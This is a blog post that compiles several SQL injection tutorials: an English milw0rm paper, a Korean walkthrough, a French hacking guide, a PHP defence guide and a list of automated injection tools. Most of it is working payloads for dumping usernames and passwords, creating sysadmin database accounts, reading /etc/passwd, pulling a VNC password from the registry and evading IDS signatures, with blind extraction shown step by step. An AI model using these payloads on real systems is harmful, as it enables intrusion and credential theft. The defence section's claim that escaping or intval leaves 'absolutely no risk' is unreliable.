SQL Injection

WORK/SECURITY 2010. 8. 13. 15:18

  
Sql Injection Paper                       
            
     By zeroday.         
        zeroday [ at ] blacksecurity.org 

1.Introduction.
2.Testing for vulnerabilities.
3.Gathering Information.
4.Data types.
5.Grabbing Passwords.
6.Create DB accounts.
7.MySQL OS Interaction.
8.Server name and config.
9.Retrieving VNC password from registry.
10.IDS Signature Evasion.
11.mySQL Input Validation Circumvention using Char().
12.IDS Signature Evasion using comments.
13.Strings without quotes.

1. When a box only has port 80 open, it's almost certain the admin will patch his server,
The best thing to turn to is web attacks. Sql Injection is one of the most common web attacks.
You attack the web application, ( ASP, JSP, PHP, CGI..etc) rather than the webserver
or the services running on the OS.
Sql injection is a way to trick using a qurey or command as a input via webpages,
most websites take parameters from the user like username and passwrod or even their emails.
They all use Sql querys.

2. First of you should start with something simple.
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
These are simple ways to try another ones are:
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3.Gathering Infomation.
- ' or 1 in (select @@version)--
- ' union all select @@version--
Those will Find the actual Version of the computer, OS/service pack.

4.Data types.

Oracle
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL
-->mysql.user
-->mysql.host
-->mysql.db

MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5.Grabbing passwords

'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.Create DB accounts.

MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
        TEMPORARY TABLESPACE temp
         DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7.MySQL OS Interaction

- ' union select 1,load_file('/etc/passwd'),1,1,1;

8.Server name and config.

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9.Retrieving VNC password from registry.

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10.IDS Signature Evasion.
Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11.mySQL Input Validation Circumvention using Char().

Inject without quotes (string = "%"):
--> ' or username like char(37);
Inject with quotes (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12.IDS Signature Evasion using comments.

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle)     '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL)    '; EXEC ('SEL' + 'ECT US' + 'ER')

13.Strings without quotes.
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

Greets: kaneda, modem, wildcard, #black and pulltheplug.

# milw0rm.com [2006-03-28]



--SQL Injection Attack

--drop table users
create table users ( id int,
    username varchar(255),
    password varchar(25),
    privs int );

insert into users values (0, 'admin', '1234', 0xffff)
insert into users values (0, 'guest', 'guest', 0x0000)
insert into users values (0, 'chris', 'password', 0x00ff)
insert into users values (0, 'fred', 'sesame', 0x00ff)

 

--1 : 테이블명 알아내기(having)
select * from users where username='' having 1=1-- and password = ''

 

--2 : 필드명 알아내기(group by)
select * from users where username='' group by users.id having 1=1-- and password=''
select * from users where username='' group by users.id, users.username having 1=1-- and password=''
select * from users where username='' group by users.id, users.username, users.password having 1=1-- and password=''
select * from users where username='' group by users.id, users.username, users.password, users.privs having 1=1-- and password=''

 

--3 : 필드타입 알아내기(union)
select * from users where username='' union select sum(username) from users-- and password=''
select * from users where username='' union select sum(password) from users-- and password=''
select * from users where username='' union select sum(privs) from users-- and password=''


--4 : 계정만들기(insert)
select * from users where username=''; insert into users values(666,'attacker','foobar',0xffff)-- and password=''


--5 : 버전 및 환경 알아내기(@@version)
select * from users where username='' union select @@version, 1, 1, 1-- and password=''
select * from users where username='' union select 1, @@version, 1, 1-- and password=''

 

--6 : 계정 추출하기(type convert error)
select * from users where username='' union select min(username),1,1,1 from users where username > 'a'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'admin'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'attacker'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'chris'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'fred'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'guest'-- and password=''

 

--7 : 계정의 패스워드 알아내기
select * from users where username='' union select password,1,1,1 from users where username='admin'-- and password=''

 

--8 : Transact-SQL
select * from users where username=''; begin declare @ret varchar(8000)
                                       set @ret=':'
                                       select @ret=@ret+' '+username+'/'+password from users where
                                       username > @ret
                                       select @ret as ret into foo
                                       end-- password=''
select * from users where username='' union select ret,1,1,1 from foo-- password=''

 

 

-- Blind Sql Injection

 

일반적인 Sql Injection 공격을 막기 위해서는 사용자가 입력한 질의에 대해 불필요한 에러페이지를
노출시키지 않는 것이 좋다.

그러나 이러한 방법 또한 최선의 선택은 아니라고 할 수 있는데, 이러한 해결방법은 바로 Bline Sql
Injection 공격을 통해 우회가 가능하다.

Blind Sql Injection이란 마치 장님이 손으로 더듬듯이, 알아내고자 하는 정보의 답변을 미리 대략적
으로 예측해서 그것이 참인지 거짓인지를 질의하고, 서버의 반응으로 참/거짓 여부를 판단하면서 참이
될때 까지 시도 함으로서 정보를 알아내는 방법이다.

이 방법을 통하여 데이터베이스의 테이블 이름, 컬럼 이름 등의 정보를 알아내는 것이 가능하다.

 

Detecting to Blind Sql Injection

 

공격을 하기 전에, 해당 페이지에 취약점이 존재하는지 확인하는 작업이 필요하다.

* 서버측 쿼리문
strSQL="select user_id, name, user_pw from member where user_id='"&id&"' and user_pw='"&password&"'

* 정상 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234

* 취약점 테스팅 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234' and 1=1--

 

만약 위 질의의 결과가 같다면 Blind Sql Injection에 취약하다고 볼 수 있다. 이제 Blind Sql Injection에
취약한 어플리케이션에 and 1=1 대신 참/거짓을 구별할 수 있는 쿼리문을 삽입하면 되며, 이때 데이터베이스가
이전과 같은 결과값을 출력하는지(참), 아니면 값을 출력하지 않는지(거짓)를 통해 자신의 입력한 내용이
참인지 거짓인지를 쉽게 판별할 수 있다.

 

이와같은 방법으로 참/거짓의 여부에 따라 예측내용을 조금씩 바꾸어서 질의하는 과정을 반복함으로써
최종적으로는 정확한 값을 알아낼 수 있게 되는 것이다. 그러나, Blind Sql Injection의 경우
수작업으로하기에는 무리가 따르며, 주로 자동화된 툴을 사용하여 공격을 하게 된다


[FRENCH] Full SQL injection Tutorial Par Moudi - EvilWay Team ( MySQL )

*** Sommaire ***

__________
Chapitre I)
__________

0) Description : SQL INJECTION.
1) Comment reconnaitre qu'un site est vulnérable a un SQL ?
2) Trouver le nombre de colomns.
3) Utiliser la fonction UNION.
4) Trouver la version du MySQL.
5) Trouver les noms des colomns et tables et l'exploitation.

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?
3) Trouver la version du MySQL.
4) Tester si la sélection marche.
5) Trouver les noms des colomns et tables et l'exploitation.


-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

>> Passons aux choses sérieuses maintenant...

__________
Chapitre I)
__________

0) Description : SQL INJECTION.

Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications type " web " de nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grace a l'url a certains renseignements confidentiels et bien d'autres...

=============> 

1) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commencons ce tuto en force !
Prénons un exemple d'un site par exemple:

http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons un ' ( quote ) et donc l'exemple deviendra :
http://www.site-exemple.com/news.php?id=9' <= quote ajouter !

Maintenant, si vous appercevez une erreur du genre:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^

=============> 

2) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce que nous obtenons une erreur comme dans l'exemple ci-dessous:

http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre: Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)
	
Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4.

=============> 

3) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/* (nous avons deja trouver que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). )

si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par -- 

=============> 

4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type...

alors l'exemple sera:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*
Bingo , la version du MySQL est devant vos yeux :)

=============> 

5) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*
Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table d'admin et qu'il existe...

Cherchons les noms des columns:

http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/* (si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/* (si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.

http://www.site-exemple.com/news.php?id=9 union all select 1,concat(username,0x3a,password),3 from admin/*

Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..

=============> 
=============> 

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
Le blind se définit comme le sql normal sauf qu'il est un peu plus dure....

=============> 

2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?

Prenons un exemple de:
http://www.site-exemple.com/news.php?id=9

Quand on ouvre la page , nous voyons des articles, images ou autres...
Vous pouvez donc tester le blind :

http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai !
Si la page se charge normalement , c'est bon.

http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux
Donc si quelques textes ou images ou un truc est oublié ou déformer, alors ce site est exploitable par le blind SQL.

=============> 

3) Trouver la version du MySQL.

Pour avoir la version dans le blind, nous utiliserons le " substring ".

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4
Si la page s'affiche normalement, alors c'est une version 4.

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5
Si la page s'affiche normalement, alors c'est une version 5.

=============> 

4) Tester si la sélection marche.

Quand le select ne marche pas, nous utiliserons donc le subselect.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1

si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons l'access au mysql.user , on fait:

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1
Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons avoir quelques mot de passe
en utilisant la fonction load_file() et OUTFILE. =============> 5) Trouver les noms des colomns et tables et l'exploitation. Exemple: http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1 Si la page se charge normalement sans erreur alors la table users existe. Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a vous de devinez :D c'est un bon jeu hein... disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne.. tout comme cela du nom de table, nous commencons la devinette !! http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 Si la page se charge normalement, alors le nom de la colonne est password. Ainsi , nous avons la table et la colonne , exploitons :) http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95 Nous avons eu une fois de plus un chargement normal.. on continue http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98 Pareille, continuons http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 ERREURRR !!! donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " . Maintenant cherchons le second caractère: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 Noter que je change ,1,1 a ,2,1 pour avoir le second caractère http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 La page se charge normalement http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107 ERREUR nombre inférieur.. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104 Chargement normal , élevé. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105 ERREUR donc nous savons des a présent que le deuxieme caractère est char(105) et que c'est 'i' , cela fera "ci" jusqu'a présent... Faite cela en mode croissant jusqu'a ce que vous obtenez la fin. (si< 0 retourne faux, nous avons atteint la fin alors). ----------------------------- >>>>>>>>>>>>>>>>>>>>>>>>>>>> ----------------------------- Nous voici a la fin de ce tuto... Si vous cherchez bien sur le net , vous pourez avoir plein de programme qui feront tout ceci , mais apprenez a le faire manuellement, c'est important :) . Je remercie ma team ( EVILWAY ) Je remercie MizoZ, ZuKa, str0ke et tout ceux que j'ai oublié... J'espere que ce tuto vous a aider en quelques choses... Contact MSN: m0udi@9.cn Second name: SixSo Nice site that i love: http://www.opensc.ws/ # milw0rm.com [2009-07-02]


[[[[[]]]]]]]]]]] Avoiding SQL Injection By Moudi - EvilWay Team [[[[[]]]]]]]]]]]

SQL injections are among the flaws the most widespread and dangerous in PHP. 
This tutorial will explain clearly the concept of SQL Injection and how to avoid them once and for all.

--------------------------------------------------------------------

>>>>>> 
Summary of tutorial:
  I) Presentation of the problem.
     => The variables containing strings
  II)Security .
     => Explanation
     => Numeric variables
        .Method 1
        .Method 2
>>>>>> 

--------------------------------------------------------------------


I) Presentation of the problem.
   ___________________________

There are two types of SQL injection:

* Injection into the variables that contain strings;
* Injection into numeric variables.

These are two very different types and to avoid them, it will act
differently for each of these types.

######################
The variables containing strings:
######################

Imagine a PHP script that fetches the age of a member according to its
nickname. This nickname has gone from one page to another via the URL
(by $ _GET what: p). This script should look like this:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
...
$pseudo = $_GET['pseudo'];
$requete = mysql_query("SELECT age FROM membres WHERE pseudo='$pseudo'");
...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Well keep you well, this script is a big SQL injection vulnerability.
Suffice it to a bad boy putting in place the username in the URL a query
like this:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
' UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


It is to arrive to show (just an example), for example the password for
the member with the id 1. I will not explain in detail the operation for
fear that someone is not nice to walk around. Well, so let us go to the
security:).

II) Security .
_______________

To secure this type of injection is simple. You use the function
mysql_real_escape_string ().

######################
Uh ... It does what it?
######################

This feature adds the "\" character to the following characters:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL, \ x00, \ n, \ r, \, ', "and \ X1A
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

######################
And what's the point?
######################

As you have noticed in previous injection, the attacker uses the quote
(to close the 'around $ nick): if she is prevented from doing that, the
bad boy will only have to look elsewhere . This means that if one
applies a mysql_real_escape_string () to the variable name like this ...

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
...
$pseudo = mysql_real_escape_string($_GET['pseudo']);
$requete = mysql_query("SELECT age FROM membres WHERE pseudo='$pseudo'");
...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

The application is completely secure.
Explanation

######################
Injection hacker to recall:
######################

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
' UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Well if we apply mysql_real_escape_string () to the variable $ name used
in the query is what will the injection:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
\' UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

This means that we do not even come out of assessments around $ nick in
the request because the \ has been added. There is another function
somewhat similar to mysql_real_escape_string () is addslashes (), why
not have used? Well recently, a security hole was discovered on this if
it is used on a PHP 4.3.9 installation with magic_quotes_gpc enabled.

######################
Numeric variables:
######################

This type of injection is less known than the previous one, making it
more frequent, and it starts as just now with an example. This time, it
displays the age of a member according to its id, and by passing it by a
form ($ _POST) to change:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
...
$id = $_POST['id'];
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


mysql_real_escape_string () would be nothing here, since if an attacker
wants to inject SQL code, it will not need to use quotes, because the
variable $ id is not surrounded by quotes. Simple example of
exploitation:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

This injection did exactly the same as the previous one, except that
here, to avoid it, there are two solutions:

     * Change the contents of the variable so it contains only numbers;
     * Check if the variable actually contains a number before using it in a query. 

##########
Method 1:
##########

We'll use a function , intval () This function returns regardless of the
contents of a variable its numerical value. For example:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$variable = '1e10';  // $variable vaut '1e10'
$valeur_numerique = intval($variable); // $valeur_numerique vaut 1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Now back to our sheep:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = intval($_POST['id']);
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
}
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

That is: you can stop there and is more than enough, but I recommend you
continue to find another method, or you have air beast if you find this
method on a code that is not yours without understand it.

############
Méthode 2:
###########

Here we use a function that returns TRUE when a variable contains only
numbers and FALSE if it is not the case this function is is_numeric (),
we will use it in a condition that checks whether is_numeric ( ) returns
TRUE well.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = $_POST['id'];
if (is_numeric($id))
{
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
}
else
{
echo "Trying to hack me ? MOTHA FUCKAH xD";
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

##################################################################
What is the best, depending intval () and is_numeric ()?
##################################################################

Well I will say that they are both equally effective, they are equal.
But I prefer inval () since with is_numeric () write more code, and if
the variable does not contain only numbers, the request is canceled (in
principle, but of course you can run the same query by choosing an
default value for the variable used). Well that's it! You know all about
securing your applications. If you apply these methods, there is
absolutely no risk of having a fault type SQL injection on its website
(or PHP).

[»] Thanks to:  [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell.. ]
[»] Contact MSN:[ m0udi@9.cn ]
[»] Site :      [ https://security-shell.ws/forum.php ]

# milw0rm.com [2009-07-27]


Tools 

1. SQLIer -
취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검합니다. 다운로드

2. SQLbftools -
블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드

3. SQL Injection Brute-forcer - SQL Injection
공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드

5. SQL Brute -
블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드

5. BobCat - SQL Injection
취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드

6. SQLMap -
블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드

7. Absinthe - GUI
기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드

8. SQL Injection Pen-testing Tool -
웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드

9. SQID - SQL Injection Digger.
웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드

10. Blind SQL Injection Perl Tool - bsqlbf
SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드

11. SQL Power Injection Injector -
이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 

12. FJ-Injector Framework -
웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드

13. SQLNinja - MS SQL
서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드

14. Automatic SQL Injector - SQLNinja
와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드

15. NGSS SQL Injector -
데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드


Posted by yangdaegam
l